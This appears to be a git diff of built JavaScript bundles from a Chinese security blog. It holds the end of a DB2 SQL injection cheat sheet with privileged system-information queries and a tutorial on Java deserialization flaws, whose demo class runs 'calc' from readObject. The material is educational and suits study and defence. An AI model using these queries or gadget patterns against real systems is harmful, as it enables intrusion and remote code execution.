\u548c\u64cd\u4f5c\u7cfb\u7edf\u4fe1\u606f"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info -- requires priv\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u6570\u636e\u5e93\u6587\u4ef6\u7684\u4f4d\u7f6e",children:"\u6570\u636e\u5e93\u6587\u4ef6\u7684\u4f4d\u7f6e"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select * from sysibmadm.reg_variables where reg_var_name='DB2PATH' -- requires priv\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u7cfb\u7edf\u914d\u7f6e",children:"\u7cfb\u7edf\u914d\u7f6e"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select dbpartitionnum, name, value from sysibmadm.dbcfg where name like 'auto_%' -- Requires priv. Retrieve the automatic maintenance settings in the database configuration that are stored in memory for all database partitions.\nselect name, deferred_value, dbpartitionnum from sysibmadm.dbcfg -- Requires priv. Retrieve all the database configuration parameters values stored on disk for all database partitions.\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u9ed8\u8ba4\u7cfb\u7edf\u6570\u636e\u5e93",children:"\u9ed8\u8ba4\u7cfb\u7edf\u6570\u636e\u5e93"}),"\n",(0,i.jsxs)(s.ul,{children:["\n",(0,i.jsx)(s.li,{children:"\u7cfb\u7edf ibm"}),"\n",(0,i.jsx)(s.li,{children:"\u7cfb\u7edf\u8ba1\u7b97\u673a"}),"\n",(0,i.jsx)(s.li,{children:"\u7cfb\u7edf\u7edf\u8ba1"}),"\n",(0,i.jsx)(s.li,{children:"\u7cfb\u7edf\u516c\u5171"}),"\n",(0,i.jsx)(s.li,{children:"\u6458\u8981"}),"\n",(0,i.jsx)(s.li,{children:"\u7cfb\u7edf\u5de5\u5177"}),"\n"]}),"\n",(0,i.jsx)(s.h2,{id:"\u53c2\u8003\u6587\u732e",children:"\u53c2\u8003\u6587\u732e"}),"\n",(0,i.jsxs)(s.ul,{children:["\n",(0,i.jsx)(s.li,{children:(0,i.jsx)(s.a,{href:"https://securityetalii.es/2012/05/20/db2-sql-injection-cheat-sheet/",children:"DB2 SQL \u6ce8\u5165\u5907\u5fd8\u5355-Adri\xe1n-20/05/2012"})}),"\n",(0,i.jsx)(s.li,{children:(0,i.jsx)(s.a,{href:"http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet",children:"DB2 SQL \u6ce8\u5165\u5907\u5fd8\u5355-pentestmonkey"})}),"\n"]})]})}function o(e={}){const{wrapper:s}={...(0,r.R)(),...e.components};return s?(0,i.jsx)(s,{...e,children:(0,i.jsx)(m,{...e})}):m(e)}}}]); \ No newline at end of file diff --git a/assets/js/e549969e.41cbfaa9.js b/assets/js/e549969e.41cbfaa9.js new file mode 100644 index 0000000..2098a95 --- /dev/null +++ b/assets/js/e549969e.41cbfaa9.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3999],{14035:(e,n,t)=>{t.d(n,{A:()=>r});const r=t.p+"assets/images/202211302250742-148ab5268388dfc6b90a4cf1b16d5c7c.png-1"},17675:(e,n,t)=>{t.d(n,{A:()=>r});const r=t.p+"assets/images/202212010019366-f8f7529fc6e14fd9275825decb2926e1.png-1"},28453:(e,n,t)=>{t.d(n,{R:()=>c,x:()=>l});var r=t(96540);const i={},s=r.createContext(i);function c(e){const n=r.useContext(s);return r.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function l(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:c(e.components),r.createElement(s.Provider,{value:n},e.children)}},28634:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>a,contentTitle:()=>l,default:()=>p,frontMatter:()=>c,metadata:()=>r,toc:()=>o});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/\u57fa\u7840\u5ba1\u8ba1/JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e","title":"JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e","description":"\u6982\u8ff0","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/01.\u57fa\u7840\u5ba1\u8ba1/01.JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/01.\u57fa\u7840\u5ba1\u8ba1","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/\u57fa\u7840\u5ba1\u8ba1/JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/\u57fa\u7840\u5ba1\u8ba1/JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/01.\u57fa\u7840\u5ba1\u8ba1/01.JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"JimuReport \u81ea\u52a8\u5bfc\u51fa Python \u63d2\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165\u4fee\u590d\u7ed5\u8fc7\u6f0f\u6d1e\u5206\u6790","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/JeecgBoot/JeecgBoot 3.9.5 pre-auth RCE\u6f0f\u6d1e\u7ed5\u8fc7/"},"next":{"title":"Apache Commons Collections \u53cd\u5e8f\u5217\u5316\u5229\u7528","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/"}}');var i=t(74848),s=t(28453);const c={},l="JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e",a={},o=[{value:"\u6982\u8ff0",id:"\u6982\u8ff0",level:2},{value:"\u6210\u56e0",id:"\u6210\u56e0",level:2},{value:"\u5b9e\u73b0\u5e8f\u5217\u5316\u4e0e\u53cd\u5e8f\u5217\u5316",id:"\u5b9e\u73b0\u5e8f\u5217\u5316\u4e0e\u53cd\u5e8f\u5217\u5316",level:2},{value:"\u5e8f\u5217\u5316\u7279\u5f81",id:"\u5e8f\u5217\u5316\u7279\u5f81",level:2},{value:"\u6076\u610f\u653b\u51fb",id:"\u6076\u610f\u653b\u51fb",level:2},{value:"\u653b\u51fb\u6d41\u7a0b",id:"\u653b\u51fb\u6d41\u7a0b",level:2},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2}];function u(e){const n={blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",ul:"ul",...(0,s.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(n.header,{children:(0,i.jsx)(n.h1,{id:"java\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e",children:"JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e"})}),"\n",(0,i.jsx)(n.h2,{id:"\u6982\u8ff0",children:"\u6982\u8ff0"}),"\n",(0,i.jsx)(n.p,{children:"Java \u63d0\u4f9b\u4e86\u4e00\u79cd\u5bf9\u8c61\u5e8f\u5217\u5316\u7684\u673a\u5236\uff0c\u8be5\u673a\u5236\u4e2d\uff0c\u4e00\u4e2a\u5bf9\u8c61\u53ef\u4ee5\u88ab\u8868\u793a\u4e3a\u4e00\u4e2a\u5b57\u8282\u5e8f\u5217\uff0c\u8be5\u5b57\u8282\u5e8f\u5217\u5305\u62ec\u8be5\u5bf9\u8c61\u7684\u6570\u636e\u3001\u6709\u5173\u5bf9\u8c61\u7684\u7c7b\u578b\u7684\u4fe1\u606f\u548c\u5b58\u50a8\u5728\u5bf9\u8c61\u4e2d\u6570\u636e\u7684\u7c7b\u578b\u3002\u5c06\u5e8f\u5217\u5316\u5bf9\u8c61\u5199\u5165\u6587\u4ef6\u4e4b\u540e\uff0c\u53ef\u4ee5\u4ece\u6587\u4ef6\u4e2d\u8bfb\u53d6\u51fa\u6765\uff0c\u5e76\u4e14\u5bf9\u5b83\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u5bf9\u8c61\u7684\u7c7b\u578b\u4fe1\u606f\u3001\u5bf9\u8c61\u7684\u6570\u636e\uff0c\u8fd8\u6709\u5bf9\u8c61\u4e2d\u7684\u6570\u636e\u7c7b\u578b\u53ef\u4ee5\u7528\u6765\u5728\u5185\u5b58\u4e2d\u65b0\u5efa\u5bf9\u8c61\u3002\u6574\u4e2a\u8fc7\u7a0b\u90fd\u662f Java \u865a\u62df\u673a\uff08JVM\uff09\u72ec\u7acb\u7684\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u5728\u4e00\u4e2a\u5e73\u53f0\u4e0a\u5e8f\u5217\u5316\u7684\u5bf9\u8c61\u53ef\u4ee5\u5728\u53e6\u4e00\u4e2a\u5b8c\u5168\u4e0d\u540c\u7684\u5e73\u53f0\u4e0a\u53cd\u5e8f\u5217\u5316\u8be5\u5bf9\u8c61\u3002"}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsxs)(n.p,{children:["1.\u5e8f\u5217\u5316\u662f\u6307\u628a\u4e00\u4e2aJava\u5bf9\u8c61\u53d8\u6210\u4e8c\u8fdb\u5236\u5185\u5bb9\uff0c\u672c\u8d28\u4e0a\u5c31\u662f\u4e00\u4e2a",(0,i.jsx)(n.code,{children:"byte[]"}),"\u6570\u7ec4\u3002"]}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsxs)(n.p,{children:["2.\u4e3a\u4ec0\u4e48\u8981\u628aJava\u5bf9\u8c61\u5e8f\u5217\u5316\u5462\uff1f\u56e0\u4e3a\u5e8f\u5217\u5316\u540e\u53ef\u4ee5\u628a",(0,i.jsx)(n.code,{children:"byte[]"}),"\u4fdd\u5b58\u5230\u6587\u4ef6\u4e2d\uff0c\u6216\u8005\u628a",(0,i.jsx)(n.code,{children:"byte[]"}),"\u901a\u8fc7\u7f51\u7edc\u4f20\u8f93\u5230\u8fdc\u7a0b\uff0c\u8fd9\u6837\uff0c\u5c31\u76f8\u5f53\u4e8e\u628aJava\u5bf9\u8c61\u5b58\u50a8\u5230\u6587\u4ef6\u6216\u8005\u901a\u8fc7\u7f51\u7edc\u4f20\u8f93\u51fa\u53bb\u4e86\u3002"]}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsxs)(n.p,{children:["\u5c06\u5e8f\u5217\u5316\u5bf9\u8c61\u5199\u5165\u6587\u4ef6\u4e4b\u540e\uff0c\u53ef\u4ee5\u4ece\u6587\u4ef6\u4e2d\u8bfb\u53d6\u51fa\u6765\uff0c\u5e76\u4e14\u5bf9\u5b83\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\uff0c\u5373\u628a\u4e00\u4e2a\u4e8c\u8fdb\u5236\u5185\u5bb9\uff08\u4e5f\u5c31\u662f",(0,i.jsx)(n.code,{children:"byte[]"}),"\u6570\u7ec4\uff09\u53d8\u56deJava\u5bf9\u8c61\u3002\u6709\u4e86\u53cd\u5e8f\u5217\u5316\uff0c\u4fdd\u5b58\u5230\u6587\u4ef6\u4e2d\u7684",(0,i.jsx)(n.code,{children:"byte[]"}),"\u6570\u7ec4\u53c8\u53ef\u4ee5\u201c\u53d8\u56de\u201dJava\u5bf9\u8c61\uff0c\u6216\u8005\u4ece\u7f51\u7edc\u4e0a\u8bfb\u53d6",(0,i.jsx)(n.code,{children:"byte[]"}),"\u5e76\u628a\u5b83\u201c\u53d8\u56de\u201dJava\u5bf9\u8c61\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u5bf9\u8c61\u7684\u7c7b\u578b\u4fe1\u606f\u3001\u5bf9\u8c61\u7684\u6570\u636e\uff0c\u8fd8\u6709\u5bf9\u8c61\u4e2d\u7684\u6570\u636e\u7c7b\u578b\u53ef\u4ee5\u7528\u6765\u5728\u5185\u5b58\u4e2d\u65b0\u5efa\u5bf9\u8c61\u3002"]}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u6574\u4e2a\u8fc7\u7a0b\u90fd\u662f Java \u865a\u62df\u673a\uff08JVM\uff09\u72ec\u7acb\u7684\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u5728\u4e00\u4e2a\u5e73\u53f0\u4e0a\u5e8f\u5217\u5316\u7684\u5bf9\u8c61\u53ef\u4ee5\u5728\u53e6\u4e00\u4e2a\u5b8c\u5168\u4e0d\u540c\u7684\u5e73\u53f0\u4e0a\u53cd\u5e8f\u5217\u5316\u8be5\u5bf9\u8c61\u3002"}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"Java\u7684\u5e8f\u5217\u5316\u673a\u5236\u4ec5\u9002\u7528\u4e8eJava\uff0c\u5982\u679c\u9700\u8981\u4e0e\u5176\u5b83\u8bed\u8a00\u4ea4\u6362\u6570\u636e\uff0c\u5fc5\u987b\u4f7f\u7528\u901a\u7528\u7684\u5e8f\u5217\u5316\u65b9\u6cd5\uff0c\u4f8b\u5982JSON\u3002"}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(n.h2,{id:"\u6210\u56e0",children:"\u6210\u56e0"}),"\n",(0,i.jsx)(n.p,{children:"\u66b4\u9732\u6216\u95f4\u63a5\u66b4\u9732\u53cd\u5e8f\u5217\u5316 API \uff0c\u5bfc\u81f4\u7528\u6237\u53ef\u4ee5\u64cd\u4f5c\u4f20\u5165\u6570\u636e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u7cbe\u5fc3\u6784\u9020\u53cd\u5e8f\u5217\u5316\u5bf9\u8c61\u5e76\u6267\u884c\u6076\u610f\u4ee3\u7801"}),"\n",(0,i.jsx)(n.p,{children:"\u4e24\u4e2a\u6216\u591a\u4e2a\u770b\u4f3c\u5b89\u5168\u7684\u6a21\u5757\u5728\u540c\u4e00\u8fd0\u884c\u73af\u5883\u4e0b\uff0c\u5171\u540c\u4ea7\u751f\u7684\u5b89\u5168\u95ee\u9898"}),"\n",(0,i.jsx)(n.h2,{id:"\u5b9e\u73b0\u5e8f\u5217\u5316\u4e0e\u53cd\u5e8f\u5217\u5316",children:"\u5b9e\u73b0\u5e8f\u5217\u5316\u4e0e\u53cd\u5e8f\u5217\u5316"}),"\n",(0,i.jsx)(n.p,{children:"FileOutputStream"}),"\n",(0,i.jsxs)(n.blockquote,{children:["\n",(0,i.jsx)(n.p,{children:"new FileOutputStream \u7684\u65f6\u5019\uff0c\u5982\u679c\u76ee\u6807\u6587\u4ef6\u4e0d\u5b58\u5728\uff0c\u90a3\u4e48\u4f1a\u5148\u521b\u5efa\u76ee\u6807\u6587\u4ef6\uff0c\u7136\u540e\u518d\u5199\u5165\u3002(\u5982\u679c\u76ee\u6807\u6587\u4ef6\u6240\u5728\u7684\u6587\u4ef6\u5939\u4e0d\u5b58\u5728\uff0c\u5219\u629b\u51fa\u5f02\u5e38)"}),"\n",(0,i.jsx)(n.p,{children:"new FileOutputStream(file) \u5982\u679c\u76ee\u6807\u6587\u4ef6\u5df2\u7ecf\u5b58\u5728\uff0c\u90a3\u4e48\u4f1a\u5148\u6e05\u7a7a \u76ee\u6807\u6587\u4ef6\u7684\u6570\u636e\uff0c\u7136\u540e\u518d\u5199\u5165\u65b0\u7684\u6570\u636e."}),"\n",(0,i.jsx)(n.p,{children:"\u5199\u5165\u6570\u636e\u7684\u65f6\u5019\u5982\u679c\u9700\u8981\u4ee5\u8ffd\u52a0\u7684\u5f62\u5f0f\u5199\u5165\uff0c\u90a3\u4e48\u9700\u8981\u4f7f\u7528new FileOutputStream(file,true) \u8fd9\u4e2a\u6784\u9020\u51fd\u6570\u3002"}),"\n"]}),"\n",(0,i.jsx)(n.p,{children:"FileInputStream"}),"\n",(0,i.jsxs)(n.blockquote,{children:["\n",(0,i.jsx)(n.p,{children:"java.io\u5305\u7684FileOutputStream\u7c7b\u53ef\u7528\u4e8e\u5c06\u6570\u636e\uff08\u4ee5\u5b57\u8282\u4e3a\u5355\u4f4d\uff09\u5199\u5165\u6587\u4ef6\u3002"}),"\n"]}),"\n",(0,i.jsx)(n.p,{children:"ObjectOutputStream"}),"\n",(0,i.jsxs)(n.blockquote,{children:["\n",(0,i.jsx)(n.p,{children:"\u57fa\u672c\u4e0a\uff0cObjectOutputStream\u4f7f\u7528\u7c7b\u540d\u548c\u5bf9\u8c61\u503c\u5bf9Java\u5bf9\u8c61\u8fdb\u884c\u7f16\u7801\u3002 \u5e76\u4e14\uff0c\u56e0\u6b64\u751f\u6210\u76f8\u5e94\u7684\u6d41\u3002 \u6b64\u8fc7\u7a0b\u79f0\u4e3a\u5e8f\u5217\u5316\u3002"}),"\n",(0,i.jsx)(n.p,{children:"\u8fd9\u4e9b\u8f6c\u6362\u540e\u7684\u6d41\u53ef\u4ee5\u5b58\u50a8\u5728\u6587\u4ef6\u4e2d\uff0c\u5e76\u4e14\u53ef\u4ee5\u5728\u7f51\u7edc\u4e4b\u95f4\u4f20\u8f93\u3002"}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.strong,{children:"\u6ce8\u610f"}),"\uff1aObjectOutputStream\u7c7b\u4ec5\u5199\u5165\u90a3\u4e9b\u5b9e\u73b0Serializable\u63a5\u53e3\u7684\u5bf9\u8c61\u3002 \u8fd9\u662f\u56e0\u4e3a\u5bf9\u8c61\u5728\u5199\u5165\u6d41\u65f6\u9700\u8981\u5e8f\u5217\u5316"]}),"\n"]}),"\n",(0,i.jsx)(n.p,{children:"ObjectInputStream"}),"\n",(0,i.jsxs)(n.blockquote,{children:["\n",(0,i.jsx)(n.p,{children:"ObjectInputStream\u4e3b\u8981\u7528\u4e8e\u8bfb\u53d6ObjectOutputStream\u5199\u5165\u7684\u6570\u636e\u3002"}),"\n",(0,i.jsx)(n.p,{children:"\u57fa\u672c\u4e0a\uff0cObjectOutputStream\u5c06Java\u5bf9\u8c61\u8f6c\u6362\u4e3a\u76f8\u5e94\u7684\u6d41\u3002 \u8fd9\u79f0\u4e3a\u5e8f\u5217\u5316\u3002 \u8fd9\u4e9b\u8f6c\u6362\u540e\u7684\u6d41\u53ef\u4ee5\u5b58\u50a8\u5728\u6587\u4ef6\u4e2d\uff0c\u4e5f\u53ef\u4ee5\u901a\u8fc7\u7f51\u7edc\u4f20\u8f93\u3002"}),"\n",(0,i.jsx)(n.p,{children:"\u73b0\u5728\uff0c\u5982\u679c\u9700\u8981\u8bfb\u53d6\u8fd9\u4e9b\u5bf9\u8c61\uff0c\u5219\u5c06\u4f7f\u7528ObjectInputStream\uff0c\u5b83\u5c06\u628a\u6d41\u8f6c\u6362\u56de\u76f8\u5e94\u7684\u5bf9\u8c61\u3002\u8fd9\u79f0\u4e3a\u53cd\u5e8f\u5217\u5316\u3002"}),"\n"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-java",children:'public class Ser {\n public static void main(String[] args) throws IOException, ClassNotFoundException {\n String hello_ser = "hello ser";\n ser(hello_ser);\n unser();\n }\n\n public static void ser(Object o) throws IOException {\n System.out.println("\u5e8f\u5217\u5316\u5f00\u59cb");\n FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");\n ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);\n objectOutputStream.writeObject(o);\n objectOutputStream.close();\n System.out.println("\u5e8f\u5217\u5316\u7ed3\u675f");\n }\n\n public static void unser() throws IOException, ClassNotFoundException {\n System.out.println("\u53cd\u5e8f\u5217\u5316\u5f00\u59cb");\n FileInputStream fileInputStream = new FileInputStream("ser.bin");\n ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);\n String o = (String) objectInputStream.readObject();\n System.out.println(o);\n System.out.println("\u53cd\u5e8f\u5217\u5316\u7ed3\u675f");\n }\n\n}\n\n--------------------------------------\n\u5e8f\u5217\u5316\u5f00\u59cb\n\u5e8f\u5217\u5316\u7ed3\u675f\n\u53cd\u5e8f\u5217\u5316\u5f00\u59cb\nhello ser\n\u53cd\u5e8f\u5217\u5316\u7ed3\u675f\n--------------------------------------\n'})}),"\n",(0,i.jsx)(n.h2,{id:"\u5e8f\u5217\u5316\u7279\u5f81",children:"\u5e8f\u5217\u5316\u7279\u5f81"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20221130224748718",src:t(14035).A+"",width:"958",height:"347"})}),"\n",(0,i.jsx)(n.p,{children:"\u4e2d\u95f4\u90a3\u4e00\u680f\u662f\u6587\u4ef6\u7684\u5341\u516d\u8fdb\u5236\u663e\u793a\uff0c\u6700\u53f3\u8fb9\u662f\u5b57\u7b26\u663e\u793a\u3002\u8fd9\u91cc\u9700\u8981\u6ce8\u610f\u7684\u7279\u5f81\u503c\u5c31\u662f16\u8fdb\u5236\u663e\u793a\u65f6\u7684\u524d32\u4f4d\uff1a"}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.strong,{children:"AC ED"}),"\uff1a",(0,i.jsx)(n.code,{children:"STREAM_MAGIC"}),"\uff0c\u58f0\u660e\u4f7f\u7528\u4e86\u5e8f\u5217\u5316\u534f\u8bae\uff0c",(0,i.jsx)(n.strong,{children:"\u4ece\u8fd9\u91cc\u53ef\u4ee5\u5224\u65ad\u4fdd\u5b58\u7684\u5185\u5bb9\u662f\u5426\u4e3a\u5e8f\u5217\u5316\u6570\u636e\u3002"})," \uff08\u8fd9\u662f\u5728\u9ed1\u76d2\u6316\u6398\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5f88\u91cd\u8981\u7684\u4e00\u4e2a\u70b9\uff09"]}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.strong,{children:"00 05"}),"\uff1a",(0,i.jsx)(n.code,{children:"STREAM_VERSION"}),"\uff0c\u5e8f\u5217\u5316\u534f\u8bae\u7248\u672c\u3002"]}),"\n",(0,i.jsx)(n.h2,{id:"\u6076\u610f\u653b\u51fb",children:"\u6076\u610f\u653b\u51fb"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{children:'public class Person implements Serializable {\n public String name;\n public int age;\n\n public Person() {\n }\n\n public Person(String name, int age) {\n this.name = name;\n this.age = age;\n }\n @Override\n public String toString() {\n return "Person{" +\n "name=\'" + name + \'\\\'\' +\n ", age=" + age +\n \'}\';\n }\n private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException {\n ois.defaultReadObject();\n\n Runtime.getRuntime().exec("calc");\n }\n}\n\npublic class Ser {\n public static void main(String[] args) throws IOException, ClassNotFoundException {\n Person wjlin0 = new Person("wjlin0", 22);\n ser(wjlin0);\n unser();\n }\n\n public static void ser(Object o) throws IOException {\n System.out.println("\u5e8f\u5217\u5316\u5f00\u59cb");\n FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");\n ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);\n objectOutputStream.writeObject(o);\n objectOutputStream.close();\n System.out.println("\u5e8f\u5217\u5316\u7ed3\u675f");\n }\n\n public static void unser() throws IOException, ClassNotFoundException {\n System.out.println("\u53cd\u5e8f\u5217\u5316\u5f00\u59cb");\n FileInputStream fileInputStream = new FileInputStream("ser.bin");\n ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);\n Person o = (Person) objectInputStream.readObject();\n System.out.println(o);\n System.out.println("\u53cd\u5e8f\u5217\u5316\u7ed3\u675f");\n }\n\n}\n\n'})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20221130230043565",src:t(17675).A+"",width:"1783",height:"808"})}),"\n",(0,i.jsx)(n.p,{children:"\u5982\u679c\u7a0b\u5e8f\u5458\u5728\u91cd\u5199readObject\u7684\u65f6\u5019\u8c03\u7528\u4e86\u6076\u610f\u7684\u65b9\u6cd5\u65f6\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u8c03\u7528\u53cd\u5e8f\u5217\u5316\u7684\u7ed3\u679c\u8ba9\u5b83\u6210\u529f\u6267\u884c\u3002\u4f8b\u5982\u56fe\u4e2d\u7684\u5f39\u51fa\u8ba1\u7b97\u5668"}),"\n",(0,i.jsx)(n.h2,{id:"\u653b\u51fb\u6d41\u7a0b",children:"\u653b\u51fb\u6d41\u7a0b"}),"\n",(0,i.jsx)(n.p,{children:"1.\u5bfb\u627e\u53cd\u5e8f\u5217\u5316\u5165\u53e3readObject()\uff0c\u67e5\u770b\u5e8f\u5217\u5bf9\u8c61\u662f\u5426\u53ef\u63a7\u3002"}),"\n",(0,i.jsx)(n.p,{children:"2.\u5bfb\u627e\u5371\u9669\u65b9\u6cd5\u5b58\u5728\u4f4d\u7f6e\u3002\u5229\u7528\u540c\u540d\u7c7b\u65b9\u6cd5\u7b49\u624b\u6bb5\u6301\u7eed\u8c03\u7528\uff0c\u6700\u7ec8\u5230\u5371\u9669\u653e\u4e0a\u3002"}),"\n",(0,i.jsx)(n.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,i.jsx)(n.p,{children:"\u53cd\u5e8f\u5217\u5316\u51fa\u73b0\u6f0f\u6d1e\u7684\u539f\u56e0\uff0c\u662f\u7a0b\u5e8f\u5458\u5bf9\u5e8f\u5217\u5316\u7684\u63a5\u53e3\u66b4\u9732 \uff0c\u5e76\u5b58\u5728\u4e00\u4e9b\u5371\u9669\u7684\u7c7b\uff0c\u53ef\u88ab\u5e8f\u5217\u5316\uff0c\u6700\u7ec8\u5bfc\u81f4 \u4ee3\u7801\u6267\u884c\u7684\u60c5\u51b5\u3002"})]})}function p(e={}){const{wrapper:n}={...(0,s.R)(),...e.components};return n?(0,i.jsx)(n,{...e,children:(0,i.jsx)(u,{...e})}):u(e)}}}]); \ No newline at end of file diff --git a/assets/js/e61e0832.0fd87d61.js b/assets/js/e61e0832.0fd87d61.js new file mode 100644 index 0000000..233249f --- /dev/null +++ b/assets/js/e61e0832.0fd87d61.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6359],{3357:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20251102052306129-945d28059510a2d1791c6d1c523ddb91.png"},26387:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20251102053249160-a9ec7deeee59b3e553e01be8ffb587aa.png"},28453:(e,n,s)=>{s.d(n,{R:()=>d,x:()=>l});var t=s(96540);const i={},r=t.createContext(i);function d(e){const n=t.useContext(r);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function l(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:d(e.components),t.createElement(r.Provider,{value:n},e.children)}},42420:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20251102045928005-8f7aebe407906cb619fddcda80633d7a.png"},47021:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20251102051649779-9933aa190312bf5358d69e052a9bfa50.png"},47114:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20251102053054657-a8acbf8bbb29f67bfe353499f3cd074c.png"},52016:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20251102053130311-1e29a68635a17fd4a751f029ae5656d7.png"},60302:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20251102050448408-8955ecb9ffa8d1027771f7a2cf4cd4f7.png"},65197:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20251102050042247-564672de9a5bf2147dee0d58e8dcab37.png"},75198:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>c,contentTitle:()=>l,default:()=>o,frontMatter:()=>d,metadata:()=>t,toc:()=>a});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Perplexity Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605","title":"Perplexity Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0/01.Perplexity Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Perplexity 